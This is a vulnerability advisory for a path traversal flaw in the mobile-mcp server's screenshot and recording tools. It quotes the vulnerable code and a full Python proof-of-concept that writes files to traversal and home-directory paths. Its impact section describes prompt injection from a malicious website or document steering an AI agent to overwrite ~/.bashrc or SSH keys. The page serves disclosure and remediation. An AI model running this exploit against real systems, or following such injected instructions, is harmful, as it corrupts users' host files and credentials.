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AI agent vulnerability · Other MCP servers and tools

CVE-2026-33989: @mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools

highCVSS 3.1 8.1GHSA-3p2m-h2v6-g9mx

Summary The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobilesavescreenshot and mobilestartscreenrecording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.

Published Mar 27, 2026 · Updated Mar 30, 2026

Affected packages

@mobilenext/mobile-mcp

Ecosystem
npm
Affected
< 0.0.49
Fixed in
0.0.49
Check
npm ls @mobilenext/mobile-mcp

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The @mobilenext/mobile-mcp server contains a Path Traversal vulnerability in the mobile_save_screenshot and mobile_start_screen_recording tools. The saveTo and output parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.

Details

File: src/server.ts (lines 584-592)

tool(
    "mobile_save_screenshot",
    "Save Screenshot",
    "Save a screenshot of the mobile device to a file",
    {
        device: z.string().describe("The device identifier..."),
        saveTo: z.string().describe("The path to save the screenshot to"),
    },
    { destructiveHint: true },
    async ({ device, saveTo }) => {
        const robot = getRobotFromDevice(device);
        const screenshot = await robot.getScreenshot();
        fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation
        return `Screenshot saved to: ${saveTo}`;
    },
);

Root Cause

The saveTo parameter is passed directly to fs.writeFileSync() without any validation. The codebase has validation functions for other parameters (validatePackageName, validateLocale in src/utils.ts) but no path validation function exists.

Additional Affected Tool

File: src/server.ts (lines 597-620)

The mobile_start_screen_recording tool has the same vulnerability in its output parameter.

PoC

#!/usr/bin/env python3

import json
import os
import subprocess
import sys
import time
from datetime import datetime

SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"]
STARTUP_DELAY = 4
REQUEST_DELAY = 0.5


def log(level, msg):
    print(f"[{level.upper()}] {msg}")


def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):
    """Send JSON-RPC message and receive response."""
    try:
        proc.stdin.write(json.dumps(msg) + "\n")
        proc.stdin.flush()
        time.sleep(timeout)
        line = proc.stdout.readline()
        return json.loads(line) if line else None
    except Exception as e:
        log("error", f"Communication error: {e}")
        return None


def send_notification(proc, method, params=None):
    """Send JSON-RPC notification (no response expected)."""
    msg = {"jsonrpc": "2.0", "method": method}
    if params:
        msg["params"] = params
    proc.stdin.write(json.dumps(msg) + "\n")
    proc.stdin.flush()


def start_server():
    """Start the mobile-mcp server."""
    log("info", "Starting mobile-mcp server...")

    try:
        proc = subprocess.Popen(
            SERVER_CMD,
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True,
        )
        time.sleep(STARTUP_DELAY)

        if proc.poll() is not None:
            stderr = proc.stderr.read()
            log("error", f"Server failed to start: {stderr[:200]}")
            return None

        log("info", f"Server started (PID: {proc.pid})")
        return proc

    except FileNotFoundError:
        log("error", "npx not found. Please install Node.js")
        return None


def initialize_session(proc):
    """Initialize MCP session with handshake."""
    log("info", "Initializing MCP session...")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "mcpsec-exploit", "version": "1.0"},
            },
        },
    )

    if not resp or "error" in resp:
        log("error", f"Initialize failed: {resp}")
        return False

    send_notification(proc, "notifications/initialized")
    time.sleep(0.5)

    server_info = resp.get("result", {}).get("serverInfo", {})
    log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}")
    return True


def get_devices(proc):
    """Get list of connected devices."""
    log("info", "Enumerating connected devices...")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 2,
            "method": "tools/call",
            "params": {"name": "mobile_list_available_devices", "arguments": {}},
        },
    )

    if resp:
        content = resp.get("result", {}).get("content", [{}])[0].get("text", "")
        try:
            devices = json.loads(content).get("devices", [])
            return devices
        except:
            log("warning", f"Could not parse device list: {content[:100]}")

    return []


def exploit_path_traversal(proc, device_id, target_path):
    """Execute path traversal exploit."""
    log("info", f"Target path: {target_path}")

    resp = send_jsonrpc(
        proc,
        {
            "jsonrpc": "2.0",
            "id": 100,
            "method": "tools/call",
            "params": {
                "name": "mobile_save_screenshot",
                "arguments": {"device": device_id, "saveTo": target_path},
            },
        },
        timeout=2,
    )

    if resp:
        content = resp.get("result", {}).get("content", [{}])
        if isinstance(content, list) and content:
            text = content[0].get("text", "")
            log("info", f"Server response: {text[:100]}")

            check_path = target_path
            if target_path.startswith(".."):
                check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))

            if os.path.exists(check_path):
                size = os.path.getsize(check_path)
                log("info", f"FILE WRITTEN: {check_path} ({size} bytes)")
                return True, check_path, size
            elif "Screenshot saved" in text:
                log("info", f"Server confirmed write (file may be at relative path)")
                return True, target_path, 0

    log("warning", "Exploit may have failed or file not accessible")
    return False, target_path, 0


def main():
    device_id = sys.argv[1] if len(sys.argv) > 1 else None

    proc = start_server()
    if not proc:
        sys.exit(1)

    try:
        if not initialize_session(proc):
            sys.exit(1)

        if not device_id:
            devices = get_devices(proc)
            if devices:
                log("info", f"Found {len(devices)} device(s):")
                for d in devices:
                    print(f"  - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})")
                device_id = devices[0].get("id")
                log("info", f"Using device: {device_id}")
            else:
                log("error", "No devices found. Please connect a device and try again.")
                log("info", "Usage: python3 exploit.py <device_id>")
                sys.exit(1)

        home = os.path.expanduser("~")

        exploits = [
            "../../exploit_2_traversal.png",
            f"{home}/exploit.png",
            f"{home}/.poc_dotfile",
        ]

        results = []
        for target in exploits:
            success, path, size = exploit_path_traversal(proc, device_id, target)
            results.append((target, success, path, size))

    finally:
        proc.terminate()
        log("info", "Server terminated.")


if __name__ == "__main__":
    main()

Impact

A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., ~/.bashrc, ~/.ssh/authorized_keys, or .config files) leading to a broken shell.

Credited to AbhiTheModder.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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